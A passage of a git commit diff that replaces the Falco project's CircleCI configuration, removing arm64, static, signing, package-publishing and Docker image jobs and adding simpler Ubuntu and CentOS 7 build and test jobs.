Adding falco script from install docs

Signed-off-by: Kris Nova <kris@nivenly.com>

.circleci/OWNERS

@@ -1,2 +0,0 @@
-emeritus_approvers:
-  - jonahjon

.circleci/config.yml

@@ -1,154 +1,76 @@
-version: 2.1
+version: 2
 jobs:
-  "build-arm64":
-    machine:
-      enabled: true
-      image: ubuntu-2204:2022.10.2
-    resource_class: arm.large
-    steps:
-
-      # Install dependencies to build the modern BPF probe skeleton.
-      - run:
-          name: Install deps ⛓️
-          command: |
-            sudo apt update
-            sudo apt install -y --no-install-recommends ca-certificates cmake build-essential clang-14 git pkg-config autoconf automake libelf-dev
-            sudo update-alternatives --install /usr/bin/clang clang /usr/bin/clang-14 90
-            sudo update-alternatives --install /usr/bin/llvm-strip llvm-strip /usr/bin/llvm-strip-14 90
-            git clone https://github.com/libbpf/bpftool.git --branch v7.0.0 --single-branch
-            cd bpftool
-            git submodule update --init
-            cd src && sudo make install
-
-      # Path to the source code
-      - checkout:
-          path: /tmp/source-arm64/falco
-
-      # Build the skeleton
-      - run:
-          name: Build modern BPF skeleton 🐝
-          command: |
-            mkdir -p /tmp/source-arm64/falco/skeleton-build
-            cd /tmp/source-arm64/falco/skeleton-build && cmake -DUSE_BUNDLED_DEPS=ON -DBUILD_FALCO_MODERN_BPF=ON -DCREATE_TEST_TARGETS=Off ../
-            make ProbeSkeleton
-
-      # Build the Falco packages (tar, deb, rpm) inside the centos7 builder.
-      # This dockerfile returns as output:
-      # - the build directory. (under /tmp/${DEST_BUILD_DIR})
-      # - the 3 packages: tar, deb, rpm. (under /tmp/packages)
-      - run:
-          name: Build Falco packages 🏗️
-          command: |
-            DOCKER_BUILDKIT=1 docker build -f /tmp/source-arm64/falco/docker/builder/modern-falco-builder.Dockerfile --output type=local,dest=/tmp --build-arg CMAKE_OPTIONS="-DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DFALCO_ETC_DIR=/etc/falco -DBUILD_FALCO_MODERN_BPF=ON -DMODERN_BPF_SKEL_DIR=/source/skeleton-build/skel_dir -DBUILD_DRIVER=Off -DBUILD_BPF=Off" --build-arg DEST_BUILD_DIR=/build-arm64/release /tmp/source-arm64/falco
-
-      - store_artifacts:
-          path: /tmp/packages
-          destination: /packages
-
-      - persist_to_workspace:
-          root: /tmp
-          paths:
-            - build-arm64/release
-            - source-arm64
-
-  # Build a statically linked Falco release binary using musl
-  # This build is 100% static, there are no host dependencies
-  "build-musl":
+  # Build using ubuntu LTS
+  # This build is dynamic, most dependencies are taken from the OS
+  "build/ubuntu-bionic":
     docker:
-      - image: alpine:3.17
-    resource_class: large
+      - image: ubuntu:bionic
     steps:
-      - checkout:
-          path: /source-static/falco
+      - checkout
       - run:
           name: Update base image
-          command: apk update
+          command: apt update -y
       - run:
-          name: Install build dependencies
-          command: apk add g++ gcc cmake make git bash perl linux-headers autoconf automake m4 libtool elfutils-dev libelf-static patch binutils bpftool clang
+          name: Install dependencies
+          command: apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm linux-headers-$(uname -r) libelf-dev cmake build-essential libcurl4-openssl-dev -y
       - run:
           name: Prepare project
           command: |
-            mkdir -p /build-static/release
-            cd /build-static/release
-            cmake -DCPACK_GENERATOR=TGZ -DBUILD_BPF=Off -DBUILD_DRIVER=Off -DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DUSE_BUNDLED_LIBELF=Off -DBUILD_LIBSCAP_MODERN_BPF=ON -DMUSL_OPTIMIZED_BUILD=On -DFALCO_ETC_DIR=/etc/falco /source-static/falco
+            mkdir build
+            pushd build
+            cmake ..
+            popd
       - run:
           name: Build
           command: |
-            cd /build-static/release
-            make -j6 all
+            pushd build
+            make -j4 all
+            popd
       - run:
-          name: Package
+          name: Run unit tests
           command: |
-            cd /build-static/release
-            make -j6 package
+            pushd build
+            make tests
+            popd
+  # Build using our own builder base image using centos 7
+  # This build is static, dependencies are bundled in the falco binary
+  "build/centos7":
+    docker:
+      - image: falcosecurity/falco-builder:latest
+        environment:
+          BUILD_TYPE: "release"
+    steps:
+      - checkout:
+          path: /source/falco
+      - run:
+          name: Prepare project
+          command: /usr/bin/entrypoint cmake
+      - run:
+          name: Build
+          command: /usr/bin/entrypoint all
+      - run:
+          name: Run unit tests
+          command: /usr/bin/entrypoint tests
+      - run:
+          name: Build packages
+          command: /usr/bin/entrypoint package
+      - persist_to_workspace:
+          root: /
+          paths:
+            - build/release
+            - source
       - run:
           name: Prepare artifacts
           command: |
             mkdir -p /tmp/packages
-            cp /build-static/release/*.tar.gz /tmp/packages
+            cp /build/release/*.deb /tmp/packages
+            cp /build/release/*.tar.gz /tmp/packages
+            cp /build/release/*.rpm /tmp/packages
       - store_artifacts:
           path: /tmp/packages
           destination: /packages
-      - persist_to_workspace:
-          root: /
-          paths:
-            - build-static/release
-            - source-static
-
-  # This build is static, dependencies are bundled in the Falco binary
-  "build-centos7":
-    machine:
-      enabled: true
-      image: ubuntu-2204:2022.10.2
-    resource_class: large
-    steps:
-
-      # Install dependencies to build the modern BPF probe skeleton.
-      - run:
-          name: Install deps ⛓️
-          command: |
-            sudo apt update
-            sudo apt install -y --no-install-recommends ca-certificates cmake build-essential clang-14 git pkg-config autoconf automake libelf-dev
-            sudo update-alternatives --install /usr/bin/clang clang /usr/bin/clang-14 90
-            sudo update-alternatives --install /usr/bin/llvm-strip llvm-strip /usr/bin/llvm-strip-14 90
-            git clone https://github.com/libbpf/bpftool.git --branch v7.0.0 --single-branch
-            cd bpftool
-            git submodule update --init
-            cd src && sudo make install
-
-      # Path for the source code
-      - checkout:
-          path: /tmp/source/falco
-
-      - run:
-          name: Build modern BPF skeleton 🐝
-          command: |
-            mkdir -p /tmp/source/falco/skeleton-build
-            cd /tmp/source/falco/skeleton-build && cmake -DUSE_BUNDLED_DEPS=ON -DBUILD_FALCO_MODERN_BPF=ON -DCREATE_TEST_TARGETS=Off ../
-            make ProbeSkeleton
-
-      # Build the Falco packages (tar, deb, rpm) inside the centos7 builder.
-      # This dockerfile returns as output:
-      # - the build directory. (under /tmp/${DEST_BUILD_DIR})
-      # - the 3 packages: tar, deb, rpm. (under /tmp/packages)
-      - run:
-          name: Build Falco packages 🏗️
-          command: |
-            DOCKER_BUILDKIT=1 docker build -f /tmp/source/falco/docker/builder/modern-falco-builder.Dockerfile --output type=local,dest=/tmp --build-arg CMAKE_OPTIONS="-DCMAKE_BUILD_TYPE=Release -DUSE_BUNDLED_DEPS=On -DFALCO_ETC_DIR=/etc/falco -DBUILD_FALCO_MODERN_BPF=ON -DMODERN_BPF_SKEL_DIR=/source/skeleton-build/skel_dir -DBUILD_DRIVER=Off -DBUILD_BPF=Off" --build-arg DEST_BUILD_DIR=/build/release /tmp/source/falco
-
-      - store_artifacts:
-          path: /tmp/packages
-          destination: /packages
-
-      - persist_to_workspace:
-          root: /tmp
-          paths:
-            - build/release
-            - source
-
-  # Execute integration tests based on the build results coming from the "build-centos7" job
-  "tests-integration":
+  # Execute integration tests based on the build results coming from the "build/centos7" job
+  "tests/integration":
     docker:
       - image: falcosecurity/falco-tester:latest
         environment:
@@ -162,759 +84,12 @@ jobs:
       - run:
           name: Execute integration tests
           command: /usr/bin/entrypoint test
-      - store_test_results:
-          path: /build/release/integration-tests-xunit
-  "tests-integration-static":
-    docker:
-      - image: falcosecurity/falco-tester:latest
-        environment:
-          SOURCE_DIR: "/source-static"
-          BUILD_DIR: "/build-static"
-          BUILD_TYPE: "release"
-          SKIP_PACKAGES_TESTS: "true"
-          SKIP_PLUGINS_TESTS: "true"
-    steps:
-      - setup_remote_docker
-      - attach_workspace:
-          at: /
-      - run:
-          name: Execute integration tests
-          command: /usr/bin/entrypoint test
-      - store_test_results:
-          path: /build-static/release/integration-tests-xunit
-  # Execute integration tests based on the build results coming from the "build-arm64" job
-  "tests-integration-arm64":
-    machine:
-      enabled: true
-      image: ubuntu-2004:202101-01
-    resource_class: arm.medium
-    steps:
-      - attach_workspace:
-          at: /tmp
-      - run:
-          name: Execute integration tests
-          command: |
-            docker run -e BUILD_TYPE="release" -e BUILD_DIR="/build" -e SOURCE_DIR="/source" -it -v /var/run/docker.sock:/var/run/docker.sock -v /tmp/source-arm64:/source -v /tmp/build-arm64:/build \
-              falcosecurity/falco-tester:latest \
-              test
-      - store_test_results:
-          path: /tmp/build-arm64/release/integration-tests-xunit
-  "tests-driver-loader-integration":
-    machine:
-      image: ubuntu-2004:202107-02
-    steps:
-      - attach_workspace:
-          at: /tmp/ws
-      - run:
-          name: Execute driver-loader integration tests
-          command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
-
-  # Sign rpm packages
-  "rpm-sign":
-    docker:
-      - image: docker.io/centos:7
-    steps:
-      - attach_workspace:
-          at: /
-      - run:
-          name: Install rpmsign
-          command: |
-            yum update -y
-            yum install rpm-sign expect which -y
-      - run:
-          name: Prepare
-          command: |
-            echo "%_signature gpg" > ~/.rpmmacros
-            echo "%_gpg_name  Falcosecurity Package Signing" >> ~/.rpmmacros
-            echo "%__gpg_sign_cmd %{__gpg} --force-v3-sigs --batch --no-armor --passphrase-fd 3 --no-secmem-warning -u \"%{_gpg_name}\" -sb --digest-algo sha256 %{__plaintext_filename}'" >> ~/.rpmmacros
-            cat > ~/sign \<<EOF
-            #!/usr/bin/expect -f
-            spawn rpmsign --addsign {*}\$argv
-            expect -exact "Enter pass phrase: "
-            send -- "\n"
-            expect eof
-            EOF
-            chmod +x ~/sign
-            echo $GPG_KEY | base64 -d | gpg --import
-      - run:
-          name: Sign rpm x86_64
-          command: |
-            cd /build/release/
-            ~/sign *.rpm
-            rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
-      - run:     
-          name: Sign rpm arm64
-          command: |
-            cd /build-arm64/release/
-            ~/sign *.rpm
-            rpm --qf %{SIGPGP:pgpsig} -qp *.rpm | grep SHA256
-      - persist_to_workspace:
-          root: /
-          paths:
-            - build/release/*.rpm
-            - build-arm64/release/*.rpm
-
-  # Publish the dev packages
-  "publish-packages-dev":
-    docker:
-      - image: docker.io/centos:7
-    steps:
-      - attach_workspace:
-          at: /
-      - run:
-          name: Setup
-          command: |
-            yum install epel-release -y
-            yum update -y
-            yum install createrepo gpg python python-pip -y
-            pip install awscli==1.19.47
-            echo $GPG_KEY | base64 -d | gpg --import
-      - run:
-          name: Publish rpm-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm-dev
-      - run:
-          name: Publish bin-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin-dev -a x86_64
-            /source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin-dev -a aarch64
-      - run:
-          name: Publish bin-static-dev
-          command: |
-            FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
-            /source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin-dev -a x86_64
-  "publish-packages-deb-dev":
-    docker:
-      - image: docker.io/debian:stable
-    steps:
-      - attach_workspace:
-          at: /
-      - run:
-          name: Setup
-          command: |
-            apt update -y
-            apt-get install apt-utils bzip2 gpg python python3-pip -y
-            pip install awscli
-            echo $GPG_KEY | base64 -d | gpg --import
-      - run:
-          name: Publish deb-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb-dev
-
-  "build-docker-dev":
-    docker:
-      - image: alpine:3.16
-    steps: 
-      - attach_workspace:
-          at: /
-      - setup_remote_docker:
-          version: 20.10.12
-          docker_layer_caching: true
-      - run:
-          name: Install deps
-          command: |
-            apk update
-            apk add make bash git docker docker-cli-buildx py3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Build and publish no-driver-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cd /source/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-              -t falcosecurity/falco-no-driver:x86_64-master \
-              -t falcosecurity/falco:x86_64-master-slim \
-              -t public.ecr.aws/falcosecurity/falco-no-driver:x86_64-master \
-              -t public.ecr.aws/falcosecurity/falco:x86_64-master-slim \
-              docker/no-driver
-      - run:
-          name: Build and publish falco-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cd /source/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-              -t falcosecurity/falco:x86_64-master \
-              -t public.ecr.aws/falcosecurity/falco:x86_64-master \
-              docker/falco
-      - run:
-          name: Build and publish falco-driver-loader-dev
-          command: |
-            cd /source/falco
-            docker buildx build --push --build-arg FALCO_IMAGE_TAG=x86_64-master \
-              -t falcosecurity/falco-driver-loader:x86_64-master \
-              -t public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-master \
-              docker/driver-loader
-            
-  "build-docker-dev-arm64":
-    machine:
-      enabled: true
-      image: ubuntu-2004:202101-01
-      docker_layer_caching: true
-    resource_class: arm.medium
-    steps:
-      - attach_workspace:
-          at: /tmp
-      - run:
-          name: Install deps
-          command: |
-            sudo apt update
-            sudo apt install groff less python3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Build and publish no-driver-dev
-          command: |
-            FALCO_VERSION=$(cat /tmp/build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-              -t falcosecurity/falco-no-driver:aarch64-master \
-              -t falcosecurity/falco:aarch64-master-slim \
-              -t public.ecr.aws/falcosecurity/falco-no-driver:aarch64-master \
-              -t public.ecr.aws/falcosecurity/falco:aarch64-master-slim \
-              docker/no-driver
-      - run:
-          name: Build and publish falco-dev
-          command: |
-            FALCO_VERSION=$(cat /tmp/build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} \
-              -t falcosecurity/falco:aarch64-master \
-              -t public.ecr.aws/falcosecurity/falco:aarch64-master \
-              docker/falco
-      - run:
-          name: Build and publish falco-driver-loader-dev
-          command: |
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg FALCO_IMAGE_TAG=aarch64-master \
-              -t falcosecurity/falco-driver-loader:aarch64-master \
-              -t public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-master \
-              docker/driver-loader
-
-  # Publish docker packages
-  "publish-docker-dev":
-    docker:
-      - image: cimg/base:stable
-        user: root
-    steps:
-      - setup_remote_docker:
-          version: 20.10.12
-      - run:
-          name: Install deps
-          command: |
-            sudo apt update
-            sudo apt install groff less python3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Upload no-driver-dev manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco-no-driver:master \
-                                   falcosecurity/falco-no-driver:aarch64-master \
-                                   falcosecurity/falco-no-driver:x86_64-master
-            docker manifest push falcosecurity/falco-no-driver:master
-            
-            docker manifest create falcosecurity/falco:master-slim \
-                                   falcosecurity/falco:aarch64-master-slim \
-                                   falcosecurity/falco:x86_64-master-slim
-            docker manifest push falcosecurity/falco:master-slim
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:master \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:aarch64-master \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:x86_64-master
-            docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:master
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco:master-slim \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-master-slim \
-                                   public.ecr.aws/falcosecurity/falco:x86_64-master-slim
-            docker manifest push public.ecr.aws/falcosecurity/falco:master-slim
-      - run:
-          name: Upload falco-dev manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco:master \
-                                   falcosecurity/falco:aarch64-master \
-                                   falcosecurity/falco:x86_64-master
-            docker manifest push falcosecurity/falco:master
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco:master \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-master \
-                                   public.ecr.aws/falcosecurity/falco:x86_64-master
-            docker manifest push public.ecr.aws/falcosecurity/falco:master
-      - run:
-          name: Upload falco-driver-loader-dev manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco-driver-loader:master \
-                                   falcosecurity/falco-driver-loader:aarch64-master \
-                                   falcosecurity/falco-driver-loader:x86_64-master
-            docker manifest push falcosecurity/falco-driver-loader:master
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-driver-loader:master \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-master \
-                                   public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-master
-            docker manifest push public.ecr.aws/falcosecurity/falco-driver-loader:master
-
-  # Publish the packages
-  "publish-packages":
-    docker:
-      - image: docker.io/centos:7
-    steps:
-      - attach_workspace:
-          at: /
-      - run:
-          name: Setup
-          command: |
-            yum install epel-release -y
-            yum update -y
-            yum install createrepo gpg python python-pip -y
-            pip install awscli==1.19.47
-            echo $GPG_KEY | base64 -d | gpg --import
-      - run:
-          name: Publish rpm
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-rpm -f /build/release/falco-${FALCO_VERSION}-x86_64.rpm -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.rpm -r rpm
-      - run:
-          name: Publish bin
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-bin -f /build/release/falco-${FALCO_VERSION}-x86_64.tar.gz -r bin -a x86_64
-            /source/falco/scripts/publish-bin -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.tar.gz -r bin -a aarch64
-      - run:
-          name: Publish bin-static
-          command: |
-            FALCO_VERSION=$(cat /build-static/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            cp -f /build-static/release/falco-${FALCO_VERSION}-x86_64.tar.gz /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz
-            /source/falco/scripts/publish-bin -f /build-static/release/falco-${FALCO_VERSION}-static-x86_64.tar.gz -r bin -a x86_64
-  "publish-packages-deb":
-    docker:
-      - image: docker.io/debian:stable
-    steps:
-      - attach_workspace:
-          at: /
-      - run:
-          name: Setup
-          command: |
-            apt update -y
-            apt-get install apt-utils bzip2 gpg python python3-pip -y
-            pip install awscli
-            echo $GPG_KEY | base64 -d | gpg --import
-      - run:
-          name: Publish deb
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            /source/falco/scripts/publish-deb -f /build/release/falco-${FALCO_VERSION}-x86_64.deb -f /build-arm64/release/falco-${FALCO_VERSION}-aarch64.deb -r deb
-  
-  "build-docker":
-    docker:
-      - image: alpine:3.16
-    steps: 
-      - attach_workspace:
-          at: /
-      - setup_remote_docker:
-          version: 20.10.12
-          docker_layer_caching: true
-      - run:
-          name: Install deps
-          command: |
-            apk update
-            apk add make bash git docker docker-cli-buildx py3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Build and publish no-driver
-          command: |
-            cd /source/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-              -t "falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}" \
-              -t falcosecurity/falco-no-driver:x86_64-latest \
-              -t "falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim" \
-              -t "falcosecurity/falco:x86_64-latest-slim" \
-              -t "public.ecr.aws/falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}" \
-              -t "public.ecr.aws/falcosecurity/falco-no-driver:x86_64-latest" \
-              -t "public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim" \
-              -t "public.ecr.aws/falcosecurity/falco:x86_64-latest-slim" \
-              docker/no-driver
-      - run:
-          name: Build and publish falco
-          command: |
-            cd /source/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-              -t "falcosecurity/falco:x86_64-${CIRCLE_TAG}" \
-              -t "falcosecurity/falco:x86_64-latest" \
-              -t "public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}" \
-              -t "public.ecr.aws/falcosecurity/falco:x86_64-latest" \
-              docker/falco
-      - run:
-          name: Build and publish falco-driver-loader
-          command: |
-            cd /source/falco
-            docker buildx build --push --build-arg FALCO_IMAGE_TAG=x86_64-${CIRCLE_TAG} \
-              -t "falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}" \
-              -t "falcosecurity/falco-driver-loader:x86_64-latest" \
-              -t "public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-${CIRCLE_TAG}" \
-              -t "public.ecr.aws/falcosecurity/falco-driver-loader:x86_64-latest" \
-              docker/driver-loader
-            
-  "build-docker-arm64":
-    machine:
-      enabled: true
-      image: ubuntu-2004:202101-01
-      docker_layer_caching: true
-    resource_class: arm.medium
-    steps:
-      - attach_workspace:
-          at: /tmp
-      - run:
-          name: Install deps
-          command: |
-            sudo apt update
-            sudo apt install groff less python3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Build and publish no-driver
-          command: |
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-              -t falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-              -t falcosecurity/falco-no-driver:aarch64-latest \
-              -t falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-              -t "falcosecurity/falco:aarch64-latest-slim" \
-              -t public.ecr.aws/falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-              -t "public.ecr.aws/falcosecurity/falco-no-driver:aarch64-latest" \
-              -t public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-              -t "public.ecr.aws/falcosecurity/falco:aarch64-latest-slim" \
-              docker/no-driver
-      - run:
-          name: Build and publish falco
-          command: |
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} \
-              -t "falcosecurity/falco:aarch64-${CIRCLE_TAG}" \
-              -t "falcosecurity/falco:aarch64-latest" \
-              -t "public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}" \
-              -t "public.ecr.aws/falcosecurity/falco:aarch64-latest" \
-              docker/falco
-      - run:
-          name: Build and publish falco-driver-loader
-          command: |
-            cd /tmp/source-arm64/falco
-            docker buildx build --push --build-arg FALCO_IMAGE_TAG=aarch64-${CIRCLE_TAG} \
-              -t "falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG}" \
-              -t "falcosecurity/falco-driver-loader:aarch64-latest" \
-              -t "public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-${CIRCLE_TAG}" \
-              -t "public.ecr.aws/falcosecurity/falco-driver-loader:aarch64-latest" \
-              docker/driver-loader
-
-  # Publish docker packages
-  "publish-docker":
-    docker:
-      - image: cimg/base:stable
-        user: root
-    steps:
-      - setup_remote_docker:
-          version: 20.10.12
-      - run:
-          name: Install deps
-          command: |
-            sudo apt update
-            sudo apt install groff less python3-pip
-            pip install awscli
-      - run:
-          name: Login to registries
-          command: |
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/falcosecurity
-      - run:
-          name: Upload no-driver manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco-no-driver:${CIRCLE_TAG} \
-                                   falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-                                   falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}
-            docker manifest push falcosecurity/falco-no-driver:${CIRCLE_TAG}
-            
-            docker manifest create falcosecurity/falco-no-driver:latest \
-                                   falcosecurity/falco-no-driver:aarch64-latest \
-                                   falcosecurity/falco-no-driver:x86_64-latest
-            docker manifest push falcosecurity/falco-no-driver:latest
-            
-            docker manifest create falcosecurity/falco:${CIRCLE_TAG}-slim \
-                                   falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-                                   falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim
-            docker manifest push falcosecurity/falco:${CIRCLE_TAG}-slim
-            
-            docker manifest create falcosecurity/falco:latest-slim \
-                                   falcosecurity/falco:aarch64-latest-slim \
-                                   falcosecurity/falco:x86_64-latest-slim
-            docker manifest push falcosecurity/falco:latest-slim
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG} \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:aarch64-${CIRCLE_TAG} \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:x86_64-${CIRCLE_TAG}
-            docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:${CIRCLE_TAG}
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco-no-driver:latest \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:aarch64-latest \
-                                   public.ecr.aws/falcosecurity/falco-no-driver:x86_64-latest
-            docker manifest push public.ecr.aws/falcosecurity/falco-no-driver:latest
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG}-slim \
-                                   public.ecr.aws/falcosecurity/falco:x86_64-${CIRCLE_TAG}-slim
-            docker manifest push public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG}-slim
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco:latest-slim \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-latest-slim \
-                                   public.ecr.aws/falcosecurity/falco:x86_64-latest-slim
-            docker manifest push public.ecr.aws/falcosecurity/falco:latest-slim
-      - run:
-          name: Upload falco manifest to registries
-          command: |
-            docker manifest create falcosecurity/falco:${CIRCLE_TAG} \
-                                   falcosecurity/falco:aarch64-${CIRCLE_TAG} \
-                                   falcosecurity/falco:x86_64-${CIRCLE_TAG}
-            docker manifest push falcosecurity/falco:${CIRCLE_TAG}
-
-            docker manifest create falcosecurity/falco:latest \
-                                   falcosecurity/falco:aarch64-latest \
-                                   falcosecurity/falco:x86_64-latest
-            docker manifest push falcosecurity/falco:latest
-            
-            docker manifest create public.ecr.aws/falcosecurity/falco:${CIRCLE_TAG} \
-                                   public.ecr.aws/falcosecurity/falco:aarch64-${CIRCLE_TAG} \
